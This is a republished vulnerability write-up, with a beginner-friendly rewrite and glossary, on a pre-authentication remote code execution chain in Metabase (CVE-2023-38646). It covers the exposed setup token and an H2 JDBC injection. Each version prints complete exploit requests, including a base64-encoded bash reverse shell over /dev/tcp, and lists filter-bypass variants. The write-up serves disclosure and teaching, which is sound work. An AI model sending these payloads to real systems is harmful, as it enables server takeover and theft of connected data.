Chaining our way to Pre-Auth RCE in Metabase (CVE-2023-38646)
Metabase left the setup token exposed to unauthenticated users after installation, and the setup validation endpoint accepted a JDBC URI that could be abused via the H2 driver to execute code. An attacker could chain these to achieve pre-authentication remote code execution.
Published on blog.assetnote.io
Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. It’s a popular project, with over 33k stars on GitHub and has had quite a lot of scrutiny from a vulnerability research perspective in the last few years.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Metabase is an open source business intelligence tool that lets you create charts and dashboards using data from a variety of databases and data sources. It is a popular project, with over 33k stars on GitHub, and it has had quite a lot of scrutiny from a vulnerability research perspective in the last few years. The research team behind this write-up had dealt with previous Metabase vulnerabilities (Log4Shell and an SSRF, CVE-2021-41277) and decided to focus on the product again, partly because of how widespread it is on the internet.
As of writing, there were about ~20k instances of Metabase exposed on the external internet. Because the tool is designed to connect to extremely sensitive datasources, a pre-auth RCE has a great impact: you get a shell on a critical part of an organisation's network, and you will likely also be able to access sensitive datasources.
The bug described here is CVE-2023-38646. The authors note that Metabase did not give them credit in the initial advisory, but they were the original discoverers and reporters of the bug.
Setup
To follow along, spin up a vulnerable instance with:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
This starts a vulnerable Metabase on port 3000. No special configuration is required to exploit the vulnerability presented in the write-up.
The researchers reviewed the different flows inside Metabase and captured the traffic from the installation steps of the product. They also audited Metabase's Clojure code and its frontend, and went through historical commits.
Finding it
During the installation traffic capture, the researchers noticed a special token used to allow users to complete the setup process: the setup-token. Most people would assume the setup flow can only be completed once, on the first setup.
The intended flow for Metabase's setup looked something like this:
However, as they set up their local instance, they found that the setup-token value was still present after the installation and accessible to unauthenticated users via two methods:
- Viewing the HTML source of the index/login page and finding it embedded in a JSON object.
- Viewing
/api/session/properties, also accessible without auth.
So in reality, what was happening was the following:
Not every instance was affected. Many of the instances checked online had "setup-token":null, so the local installation not wiping the token was not universal. There was some comfort in also finding plenty of instances in the wild where the setup-token had not been wiped even though the instances were fully set up.
The root cause was not immediately obvious even after several hours of reading the codebase. The researchers went systematically through the historical commits until they found a clue, landing on a commit made in January 2022:
https://github.com/metabase/metabase/commit/[redacted]#diff-[redacted]
Based on their understanding, some refactoring work on the Metabase codebase deleted a critical part of the setup flow: removing the setup token after Metabase has been set up.
The caveat for the whole chain: for a Metabase instance to have been vulnerable, it must have been set up after this commit was made (January 2022). That explains why so many older Metabase instances did not have their setup-token exposed.
Exploitation
With an exposed setup token in hand, the next stage was going from that token to reliable remote code execution. Because Metabase is designed to connect to many different types of datasources and databases, the researchers were confident they could escalate.
Step 1: obtain the setup token
The token is readable without authentication from /api/session/properties, or from the HTML source of the index/login page where it is embedded in a JSON object.
Step 2: find an endpoint that accepts the token and validates database connections
The setup phase of Metabase prompts you to connect to a datasource or database. As part of the setup flow, an endpoint exists at /api/setup/validate which takes a JDBC URI as part of the POST request and validates the connection before allowing you to complete the setup.
In Clojure/Java, many different database connectors are made possible through JDBC drivers, and the researchers had previously been successful at achieving code execution by abusing these connectors.
Step 3: work around the blocked H2 INIT parameter
One of the most common attack vectors in this space is abusing the H2 database INIT parameter to execute arbitrary code. That would have been a straightforward route to pre-auth RCE, but the issue had already been reported and patched by Metabase in the past. Metabase was actively blocking the usage of the INIT parameter when connecting to H2 databases, so an alternative connection string that would still execute code was needed.
After a few hours, the researchers discovered that a SQL injection vulnerability existed within the H2 database driver itself, allowing code execution without the INIT parameter. The purpose of INIT is just to run a SQL query on initiation of the database connection. Even with the keyword blocked, all that was needed was an alternative argument that would let them run arbitrary SQL. Using the TRACE_LEVEL_SYSTEM_OUT argument and stacking SQL queries (via the SQL injection), they were able to execute arbitrary code.
Step 4: avoid corrupting databases with a zip URI
One last challenge remained before reliable RCE: which H2 database to point Metabase at during the validation step. Using the Metabase database itself would lead to the database being corrupt and was not an ideal exploit. The researchers noticed that a sample H2 database is provided inside Metabase's JAR file, and with the power of a zip URI they could use this sample database in the attack chain without corrupting any databases or the application.
Step 5: the proof of concept
Combining all the pieces gives the following request:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
The important parts:
tokenis the setup token obtained from/api/session/properties.engineish2, so the JDBC URI indbis handled by the H2 driver.dbpoints atzip:/app/metabase.jar!/sample-database.db, the sample database inside the Metabase JAR, so no database on disk is corrupted.TRACE_LEVEL_SYSTEM_OUT=1is the argument that lets the stacked SQL run, and the stacked statement creates a trigger whose body is JavaScript that makes an outbound request.
To recap, reaching this stage involved:
- Obtaining the setup token from
/api/session/properties - Finding an API endpoint that can be used with this token that validates DB connections
- Finding a 0day SQL injection vulnerability in the H2 db driver
- Finding that
zip:/app/metabase.jar!/sample-database.dbcould be used to prevent the corruption of any databases on disk
With the request above, the researchers were able to reliably get code execution.
Step 6: reverse shell
The following payload can be used to obtain a reverse shell on the system:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+[redacted]}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
The value of YmFzaCAtaSA+[redacted] decoded is bash -i >&/dev/tcp/[redacted]/9998 0>&1. You must encode this with your own IP and port, and then modify the payload above before sending it.
Root cause
The setup token is meant to be removed once Metabase has been set up. A refactoring commit made in January 2022 deleted a critical part of the setup flow: removing the setup token after setup. As a result, instances set up after that commit kept the token, and it stayed readable by unauthenticated users through /api/session/properties and the login page HTML. Instances set up before the commit did not have their setup-token exposed.
On the code execution side, Metabase blocked the H2 INIT parameter, but the block did not cover other arguments that let SQL run. The H2 driver itself had a SQL injection vulnerability, so TRACE_LEVEL_SYSTEM_OUT plus stacked queries achieved what INIT would have. Pointing the connection at the sample database inside the JAR through a zip URI avoided corrupting any database on disk.
Impact
A pre-auth RCE on Metabase gives a shell on a critical part of an organisation's network, and because Metabase connects to sensitive datasources, the attacker will likely also be able to access those datasources. The condition is that the instance was set up after the January 2022 commit; older instances did not expose the setup token. About ~20k Metabase instances were exposed on the external internet at the time of writing, and the researchers found plenty of fully set up instances in the wild where the setup-token had not been wiped.
Fix
Metabase published a security advisory and a release. Remediation instructions are at:
https://www.metabase.com/blog/security-advisory
and
https://github.com/metabase/metabase/releases/tag/v0.46.6.1
Customers of the researchers' Attack Surface Management platform were notified of the presence of the vulnerability.
Variants to test
Based on discussions with other researchers, the following techniques are also possible:
- Use a diacritic letter inside the word INIT to bypass the blocked keyword protection (credited to Reginaldo). The original lists this technique without describing its result.
- Use a mem DB instead of the zip URI (credited to Harsh and Rahul).
- Use other parameters in the H2 database for a SQL injection, anything that sets a property (credited to Marcio).
What happened, in plain words
Metabase is a free, open source program that organisations install on their own servers. It lets people build charts and dashboards from the data stored in their databases. It is very popular: the write-up mentions over 33k stars on GitHub, which is a way of showing how many people follow a project's code. Because Metabase is designed to sit next to sensitive databases, it has been studied closely by security researchers over the last few years.
The research team behind this write-up had already worked on earlier Metabase problems (Log4Shell and an SSRF, CVE-2021-41277), and they chose to look at the product again, partly because so many copies of it are reachable from the internet. At the time of writing there were about ~20k Metabase instances exposed on the external internet.
The bug they found is tracked as CVE-2023-38646. A CVE is a public catalogue number given to a known security flaw so people can refer to it unambiguously. The authors note that Metabase did not credit them in the initial advisory, but they were the original discoverers and reporters of the bug.
The flaw lets an attacker who has never logged in run their own commands on the Metabase server. In security language that is a pre-auth RCE: "pre-auth" means before authentication, so without a username or password, and "RCE" means remote code execution, running code on someone else's machine over the network. The impact is large: you get a shell (a command line) on a critical part of an organisation's network, and because Metabase is built to connect to sensitive datasources, you will likely also be able to reach those datasources.
This article walks through how the researchers got there, step by step, and explains every term along the way.
Setup
To follow along, the researchers started a vulnerable copy of Metabase with this command:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Line by line:
docker runasks Docker to start a program inside a container. A container is like a sealed box holding a program and everything it needs, so it does not interfere with the rest of your computer. Docker is the tool that manages these boxes.-dmeans "detached": the container runs in the background and you get your terminal back.-p 3000:3000connects port 3000 on your computer to port 3000 inside the container. A port is a numbered doorway on a computer; web traffic usually goes through port 80 or 443, and here Metabase listens on 3000. This mapping is what lets you open the app in your browser athttp://localhost:3000.--name metabasegives the container a friendly name so you can refer to it later.metabase/metabase:v0.46.6is the image to run: the Metabase program, at version v0.46.6. A version is a specific release of the software; this one contains the bug.
This starts a vulnerable Metabase on port 3000, and no special configuration is required to exploit the vulnerability presented in the write-up.
To find the bug, the researchers reviewed the different flows inside Metabase and captured the traffic from the installation steps of the product. "Capturing traffic" means recording the requests and responses that travel between the browser and the server, usually with a browser developer tools panel or a proxy. They also audited Metabase's Clojure code and its frontend, and went through historical commits. Clojure is the programming language Metabase's server side is written in. The frontend is the part that runs in your browser. A commit is a saved change to a code repository, and the history of commits is like a logbook of every edit ever made to the project.
Finding it
During the installation traffic capture, the researchers noticed a special token used to allow users to complete the setup process: the setup-token. A token here is a long random string that acts like a temporary pass: whoever holds it is allowed to do a particular thing. Most people would assume the setup flow can only be completed once, on the first setup, and that the token would be useless afterwards.
The intended flow for Metabase's setup looked something like this:
However, as they set up their local instance, they found that the setup-token value was still present after the installation and accessible to unauthenticated users via two methods:
- Viewing the HTML source of the index/login page and finding it embedded in a JSON object. The HTML source is the raw text a web page is made of; in a browser you can see it with "View page source". JSON is a simple text format for structured data, made of names and values in curly braces, and it is what web pages and APIs commonly use to exchange information.
- Viewing
/api/session/properties, also accessible without auth. An API is a set of addresses a program offers so other programs (or a browser) can ask it for data or actions; here it is a web address that returns information as data rather than as a page. "Without auth" means no login is needed.
So in reality, what was happening was the following:
Not every instance was affected. Many of the instances checked online had "setup-token":null, so the local installation not wiping the token was not universal. null is a way of writing "nothing here", so those instances had no token to give away. There was some comfort in also finding plenty of instances in the wild where the setup-token had not been wiped even though the instances were fully set up.
The root cause was not immediately obvious even after several hours of reading the codebase. The root cause is the underlying reason a bug exists, as opposed to its visible symptom. The researchers went systematically through the historical commits until they found a clue, landing on a commit made in January 2022:
https://github.com/metabase/metabase/commit/[redacted]#diff-[redacted]
This is a link to one specific change in the Metabase code repository. The long string after commit/ identifies the commit, and the part after #diff- points at one particular file and line inside that change.
Based on their understanding, some refactoring work on the Metabase codebase deleted a critical part of the setup flow: removing the setup token after Metabase has been set up. Refactoring means reorganising code without meaning to change what it does, and here the reorganisation accidentally dropped a step.
The caveat for the whole chain: for a Metabase instance to have been vulnerable, it must have been set up after this commit was made (January 2022). That explains why so many older Metabase instances did not have their setup-token exposed.
Exploitation
With an exposed setup token in hand, the next stage was going from that token to reliable remote code execution. Because Metabase is designed to connect to many different types of datasources and databases, the researchers were confident they could escalate. To escalate means to turn a small foothold into a bigger one.
Step 1: obtain the setup token
The token is readable without authentication from /api/session/properties, or from the HTML source of the index/login page where it is embedded in a JSON object.
Step 2: find an endpoint that accepts the token and validates database connections
The setup phase of Metabase prompts you to connect to a datasource or database. A datasource is simply a place data comes from, usually a database. As part of the setup flow, an endpoint exists at /api/setup/validate which takes a JDBC URI as part of the POST request and validates the connection before allowing you to complete the setup. An endpoint is one specific address in an API. A POST request is a request that sends data to the server, as opposed to a GET request that just asks for a page. A JDBC URI is a text string that tells a Java program how to reach a database: which driver to use, where the database is, and extra settings. JDBC is the standard way Java programs talk to databases, and a driver is the piece of software that knows how to speak to one particular kind of database.
In Clojure/Java, many different database connectors are made possible through JDBC drivers, and the researchers had previously been successful at achieving code execution by abusing these connectors. In other words: because Metabase will happily load a driver and follow the connection string you give it, a crafted connection string can make the server do more than just connect.
Step 3: work around the blocked H2 INIT parameter
One of the most common attack vectors in this space is abusing the H2 database INIT parameter to execute arbitrary code. H2 is a small database engine written in Java that can run inside the same program as Metabase. An attack vector is a route an attacker uses to get in. A parameter here is an extra setting written into the connection string. INIT is a setting that tells H2 to run a SQL query as soon as the connection opens; SQL is the language used to ask databases questions and give them instructions, and a query is one such instruction. If you can put your own SQL in INIT, you can make the database run your code.
That would have been a straightforward route to pre-auth RCE, but the issue had already been reported and patched by Metabase in the past. Metabase was actively blocking the usage of the INIT parameter when connecting to H2 databases, so an alternative connection string that would still execute code was needed. Blocking a keyword means the program checks the text for that word and refuses it.
After a few hours, the researchers discovered that a SQL injection vulnerability existed within the H2 database driver itself, allowing code execution without the INIT parameter. SQL injection is a classic flaw where data supplied by a user is treated as SQL instructions instead of as plain data, so the attacker's text gets executed as commands. The purpose of INIT is just to run a SQL query on initiation of the database connection. Even with the keyword blocked, all that was needed was an alternative argument that would let them run arbitrary SQL. Using the TRACE_LEVEL_SYSTEM_OUT argument and stacking SQL queries (via the SQL injection), they were able to execute arbitrary code. Stacking queries means putting several SQL statements one after another, separated so the database runs them in sequence; TRACE_LEVEL_SYSTEM_OUT is a setting that makes H2 print debugging information, and the flaw let the researchers slip extra statements in through it.
Step 4: avoid corrupting databases with a zip URI
One last challenge remained before reliable RCE: which H2 database to point Metabase at during the validation step. Using the Metabase database itself would lead to the database being corrupt and was not an ideal exploit. Corrupt means the data files become damaged and unusable, which would break the very system being attacked and make the attack obvious.
The researchers noticed that a sample H2 database is provided inside Metabase's JAR file, and with the power of a zip URI they could use this sample database in the attack chain without corrupting any databases or the application. A JAR file is a single file that bundles a Java program together with its resources, and it is really a zip archive underneath. A zip URI is a way of writing an address that points inside such an archive, so the database engine can open a file that lives inside the JAR as if it were a normal file.
Step 5: the proof of concept
Combining all the pieces gives the following request:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 566
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
Line by line:
POST /api/setup/validate HTTP/1.1is the request line: send data (POST) to the address/api/setup/validate, using version 1.1 of the HTTP protocol, the language browsers and servers use to talk.Host: localhostsays which server the request is for.localhostmeans "this computer", because the researchers are attacking their own test copy.Content-Type: application/jsontells the server the body is JSON, so it knows how to read it.Content-Length: 566says how many bytes long the body is.- The blank line separates the headers (the lines above) from the body (the JSON below).
"token": "5491c003-41c2-482d-bab4-6e174aa1738c"is the setup token obtained from/api/session/properties. The server checks it before doing anything else.- The outer
"details"object holds the settings for the database connection Metabase is being asked to validate. The fields such asis_on_demand,is_full_sync,is_sample,cache_ttl,refingerprint,auto_run_queriesandschedulesare ordinary Metabase connection options; the researchers filled them with plausible values so the request looks like a normal setup step. - The inner
"details"object holds the actual connection information. "db"is the JDBC URI. It starts withzip:/app/metabase.jar!/sample-database.db, which points at the sample database inside the Metabase JAR, so no database on disk is corrupted.MODE=MSSQLServermakes H2 behave like Microsoft SQL Server.TRACE_LEVEL_SYSTEM_OUT=1is the argument that lets the stacked SQL run. After it,CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript ... $$--=xis the stacked statement: it creates a trigger, which is a rule the database runs automatically when something happens. Here the trigger fires before a read (SELECT) on a system table, and its body is JavaScript that makes an outbound request tohttps://example.com/pwn134. The backslashes and--=xare there to keep the pieces separated and to comment out the rest so the SQL stays valid."advanced-options": falseand"ssl": trueare further connection options."name": "an-sec-research-team"is just a label for the connection."engine": "h2"tells Metabase to use the H2 driver, so the JDBC URI indbis handled by H2.
To recap, reaching this stage involved:
- Obtaining the setup token from
/api/session/properties - Finding an API endpoint that can be used with this token that validates DB connections
- Finding a 0day SQL injection vulnerability in the H2 db driver. A 0day (zero-day) is a flaw that was not known to the vendor when it was found, so no fix existed at that moment.
- Finding that
zip:/app/metabase.jar!/sample-database.dbcould be used to prevent the corruption of any databases on disk
With the request above, the researchers were able to reliably get code execution.
Step 6: reverse shell
The following payload can be used to obtain a reverse shell on the system:
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812
{
"token": "5491c003-41c2-482d-bab4-6e174aa1738c",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+[redacted]}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
This request has the same shape as the previous one, with two changes that matter:
- The trigger is now called
pwnshellinstead ofIAMPWNED. - The JavaScript body no longer makes a harmless web request. It calls
java.lang.Runtime.getRuntime().exec(...), which is Java's way of starting another program on the machine. The program it starts isbash -crunning a command that is base64-encoded. Base64 is a way of writing arbitrary bytes using only letters, digits and a few symbols, so the command survives being carried inside a string. The{echo,...}|{base64,-d}|{bash,-i}part decodes the text and hands it to bash, the standard Linux command shell.
A reverse shell is a connection where the victim machine calls back to the attacker and then gives the attacker a command line over that connection. It is "reverse" because the connection goes from inside the network outwards, which often slips past firewalls that block incoming connections.
The value of YmFzaCAtaSA+[redacted] decoded is bash -i >&/dev/tcp/[redacted]/9998 0>&1. You must encode this with your own IP and port, and then modify the payload above before sending it. In plain words, the decoded command opens an interactive shell and connects its input and output to a network address, so whoever is listening at that address gets a shell on the Metabase server.
Root cause
The setup token is meant to be removed once Metabase has been set up. A refactoring commit made in January 2022 deleted a critical part of the setup flow: removing the setup token after setup. As a result, instances set up after that commit kept the token, and it stayed readable by unauthenticated users through /api/session/properties and the login page HTML. Instances set up before the commit did not have their setup-token exposed.
On the code execution side, Metabase blocked the H2 INIT parameter, but the block did not cover other arguments that let SQL run. The H2 driver itself had a SQL injection vulnerability, so TRACE_LEVEL_SYSTEM_OUT plus stacked queries achieved what INIT would have. Pointing the connection at the sample database inside the JAR through a zip URI avoided corrupting any database on disk.
Impact
A pre-auth RCE on Metabase gives a shell on a critical part of an organisation's network, and because Metabase connects to sensitive datasources, the attacker will likely also be able to access those datasources. The condition is that the instance was set up after the January 2022 commit; older instances did not expose the setup token. About ~20k Metabase instances were exposed on the external internet at the time of writing, and the researchers found plenty of fully set up instances in the wild where the setup-token had not been wiped.
Fix
Metabase published a security advisory and a release. A security advisory is the official notice a vendor publishes about a flaw, usually with affected versions and what to do. Remediation instructions are at:
https://www.metabase.com/blog/security-advisory
and
https://github.com/metabase/metabase/releases/tag/v0.46.6.1
Remediation instructions are at these two links. Customers of the researchers' Attack Surface Management platform were notified of the presence of the vulnerability. Attack Surface Management means keeping an inventory of everything an organisation exposes to the internet and watching it for known weaknesses.
Variants to test
Based on discussions with other researchers, the following techniques are also possible:
- Use a diacritic letter inside the word INIT to bypass the blocked keyword protection (credited to Reginaldo). A diacritic letter is an accented or decorated character, like the ones used in many European languages. The original lists this technique without describing its result.
- Use a mem DB instead of the zip URI (credited to Harsh and Rahul). A mem DB is a database that lives only in memory and is never written to disk.
- Use other parameters in the H2 database for a SQL injection, anything that sets a property (credited to Marcio).
Glossary
- 0day (zero-day): a flaw that was not known to the vendor when it was found, so no fix existed at that moment.
- API: a set of addresses a program offers so other programs or a browser can ask it for data or actions.
- Attack surface: everything an organisation exposes to the internet that an attacker could try to reach.
- Attack Surface Management: keeping an inventory of that exposed surface and watching it for known weaknesses.
- Attack vector: a route an attacker uses to get in.
- Base64: a way of writing arbitrary bytes using only letters, digits and a few symbols, so data survives being carried inside text.
- Bash: the standard command shell on Linux, where you type commands for the computer to run.
- Clojure: the programming language Metabase's server side is written in.
- Commit: a saved change to a code repository; the history of commits is a logbook of every edit.
- Container: a sealed box holding a program and everything it needs, managed by Docker.
- Corrupt: damaged and unusable, said of data files.
- CVE: a public catalogue number given to a known security flaw so people can refer to it unambiguously.
- Datasource: a place data comes from, usually a database.
- Diacritic letter: an accented or decorated character, like those used in many European languages.
- Docker: the tool that runs programs inside containers.
- Driver: the piece of software that knows how to speak to one particular kind of database.
- Endpoint: one specific address in an API.
- Escalate: to turn a small foothold into a bigger one.
- Frontend: the part of a program that runs in your browser.
- GET request: a request that just asks the server for a page or data.
- H2: a small database engine written in Java that can run inside the same program as Metabase.
- HTML source: the raw text a web page is made of, visible in a browser with "View page source".
- HTTP: the language browsers and servers use to talk to each other.
- INIT: an H2 setting that runs a SQL query as soon as a connection opens.
- JAR file: a single file that bundles a Java program with its resources; it is a zip archive underneath.
- Java: a widely used programming language and runtime; Metabase runs on it.
- JavaScript: a programming language that runs inside web pages and, in this case, inside the database's trigger body.
- JDBC: the standard way Java programs talk to databases.
- JDBC URI: a text string telling a Java program which driver to use, where the database is, and extra settings.
- JSON: a simple text format for structured data, made of names and values in curly braces.
- localhost: "this computer".
- Log4Shell: an earlier, widely known Java vulnerability mentioned as prior context.
- mem DB: a database that lives only in memory and is never written to disk.
- Metabase: an open source business intelligence tool for building charts and dashboards from databases.
- null: a way of writing "nothing here".
- Parameter: an extra setting written into a connection string.
- Port: a numbered doorway on a computer that network traffic goes through.
- POST request: a request that sends data to the server.
- Pre-auth: before authentication, so without a username or password.
- Proof of concept: a working example that demonstrates a flaw.
- Proxy: a tool that sits between browser and server and records the traffic.
- Query: one instruction written in SQL.
- RCE (remote code execution): running your own code on someone else's machine over the network.
- Refactoring: reorganising code without meaning to change what it does.
- Reverse shell: a connection where the victim machine calls back to the attacker and gives them a command line.
- Root cause: the underlying reason a bug exists, as opposed to its visible symptom.
- Security advisory: the official notice a vendor publishes about a flaw, with affected versions and what to do.
- Setup-token: a long random string that lets whoever holds it complete Metabase's setup.
- Shell: a command line where you type commands for a computer to run.
- SQL: the language used to ask databases questions and give them instructions.
- SSRF: server-side request forgery, a flaw where an attacker makes a server send requests on their behalf; mentioned as prior context (CVE-2021-41277).
- Stacked queries: several SQL statements placed one after another so the database runs them in sequence.
- Token: a long random string that acts like a temporary pass for a particular action.
- Trigger: a rule a database runs automatically when something happens, such as a read on a table.
- Version: a specific release of a piece of software.
- Zip URI: an address that points inside a zip archive, so a file inside it can be opened as if it were a normal file.